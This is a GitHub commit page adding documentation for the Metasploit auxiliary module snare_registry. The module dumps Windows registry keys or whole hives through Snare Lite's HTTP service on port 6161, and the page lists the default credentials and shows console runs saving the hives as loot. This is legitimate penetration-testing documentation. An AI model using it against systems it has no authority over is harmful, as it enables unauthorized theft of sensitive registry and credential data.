Skip to content

Commit 44c9292

Browse files
committed
Land rapid7#8485 docs for snare_registry
2 parents 609b131 + 30f652e commit 44c9292

File tree

1 file changed

+105
-0
lines changed

1 file changed

+105
-0
lines changed
Lines changed: 105 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,105 @@
1+
## Description
2+
3+
This module uses the Registry Dump feature of the [Snare Lite for Windows](https://sourceforge.net/projects/snare/) HTTP service on 6161/TCP to retrieve the Windows registry. The Registry Dump functionality is unavailable in Snare Enterprise.
4+
5+
**Note: The Registry Dump functionality accepts only one connected client at a time. Requesting a large key/hive will cause the service to become unresponsive until the server completes the request.**
6+
7+
8+
## Vulnerable Application
9+
10+
SNARE (System iNtrusion Analysis and Reporting Environment) is a series of log collection agents that facilitate centralised analysis of audit log data.
11+
12+
This module has been tested successfully with Snare Lite for Windows version 4.0.2.0 on Windows XP SP3.
13+
14+
Snare Lite for Windows is no longer supported, however a [free trial is available](http://www.snarealliance.com/snare-open-source-agent-downloads-submission/) from the Snare Alliance website.
15+
16+
17+
## Verification Steps
18+
19+
1. Start `msfconsole`
20+
2. Do: `use auxiliary/gather/snare_registry`
21+
3. Do: `set rhost [IP]`
22+
4. Do: `set HttpUsername [USERNAME]`
23+
5. Do: `set HttpPassword [PASSWORD]`
24+
6. Do: `run`
25+
7. You should get a copy of *HKLM\HARDWARE\DESCRIPTION\System* from the remote Windows system
26+
27+
28+
## Options
29+
30+
**HttpUsername**
31+
32+
The username for Snare remote access (default: `snare`).
33+
34+
**HttpPassword**
35+
36+
The password for Snare remote access (default: blank).
37+
38+
**REG_DUMP_KEY**
39+
40+
Retrieve the specified registry key and all sub-keys.
41+
42+
**REG_DUMP_ALL**
43+
44+
Retrieve the entire Windows registry.
45+
46+
**TIMEOUT**
47+
48+
Timeout in seconds for downloading each registry key/hive.
49+
50+
51+
## Scenarios
52+
53+
Retrieve a specific registry key:
54+
55+
```
56+
msf auxiliary(snare_registry) > set REG_DUMP_KEY HKLM\\HARDWARE\\DESCRIPTION\\System
57+
REG_DUMP_KEY => HKLM\HARDWARE\DESCRIPTION\System
58+
msf auxiliary(snare_registry) > run
59+
60+
[*] 192.168.18.155:6161 - Retrieving registry key 'HKLM\\HARDWARE\\DESCRIPTION\\System'...
61+
[+] 192.168.18.155:6161 - Retrieved key successfully (23092 bytes)
62+
[+] File saved in: /root/.msf4/loot/20151225133011_default_192.168.18.155_snare.registry_842138.txt
63+
[*] Auxiliary module execution completed
64+
```
65+
66+
Retrieve an entire hive:
67+
68+
```
69+
msf auxiliary(snare_registry) > set REG_DUMP_KEY HKLM
70+
REG_DUMP_KEY => HKLM
71+
msf auxiliary(snare_registry) > run
72+
73+
[*] 192.168.18.155:6161 - Retrieving registry hive 'HKLM'...
74+
[+] 192.168.18.155:6161 - Retrieved key successfully (10657975 bytes)
75+
[+] File saved in: /root/.msf4/loot/20151225133147_default_192.168.18.155_snare.registry_247207.txt
76+
[*] Auxiliary module execution completed
77+
```
78+
79+
Retrieve the entire registry:
80+
81+
```
82+
msf auxiliary(snare_registry) > set REG_DUMP_ALL true
83+
REG_DUMP_ALL => true
84+
msf auxiliary(snare_registry) > run
85+
86+
[*] 192.168.18.155:6161 - Retrieving list of registry hives ...
87+
[+] 192.168.18.155:6161 - Found 5 registry hives (HKEY_CLASSES_ROOT, HKEY_CURRENT_CONFIG, HKEY_CURRENT_USER, HKEY_LOCAL_MACHINE, HKEY_USERS)
88+
[*] 192.168.18.155:6161 - Retrieving registry hive 'HKEY_CLASSES_ROOT'...
89+
[+] 192.168.18.155:6161 - Retrieved key successfully (3933816 bytes)
90+
[+] File saved in: /root/.msf4/loot/20151225133222_default_192.168.18.155_snare.registry_070659.txt
91+
[*] 192.168.18.155:6161 - Retrieving registry hive 'HKEY_CURRENT_CONFIG'...
92+
[+] 192.168.18.155:6161 - Retrieved key successfully (5605 bytes)
93+
[+] File saved in: /root/.msf4/loot/20151225133222_default_192.168.18.155_snare.registry_376606.txt
94+
[*] 192.168.18.155:6161 - Retrieving registry hive 'HKEY_CURRENT_USER'...
95+
[+] 192.168.18.155:6161 - Retrieved key successfully (269927 bytes)
96+
[+] File saved in: /root/.msf4/loot/20151225133223_default_192.168.18.155_snare.registry_653681.txt
97+
[*] 192.168.18.155:6161 - Retrieving registry hive 'HKEY_LOCAL_MACHINE'...
98+
[+] 192.168.18.155:6161 - Retrieved key successfully (11446508 bytes)
99+
[+] File saved in: /root/.msf4/loot/20151225133336_default_192.168.18.155_snare.registry_003003.txt
100+
[*] 192.168.18.155:6161 - Retrieving registry hive 'HKEY_USERS'...
101+
[+] 192.168.18.155:6161 - Retrieved key successfully (1668306 bytes)
102+
[+] File saved in: /root/.msf4/loot/20151225133342_default_192.168.18.155_snare.registry_236335.txt
103+
[*] Auxiliary module execution completed
104+
```
105+

0 commit comments

Comments
 (0)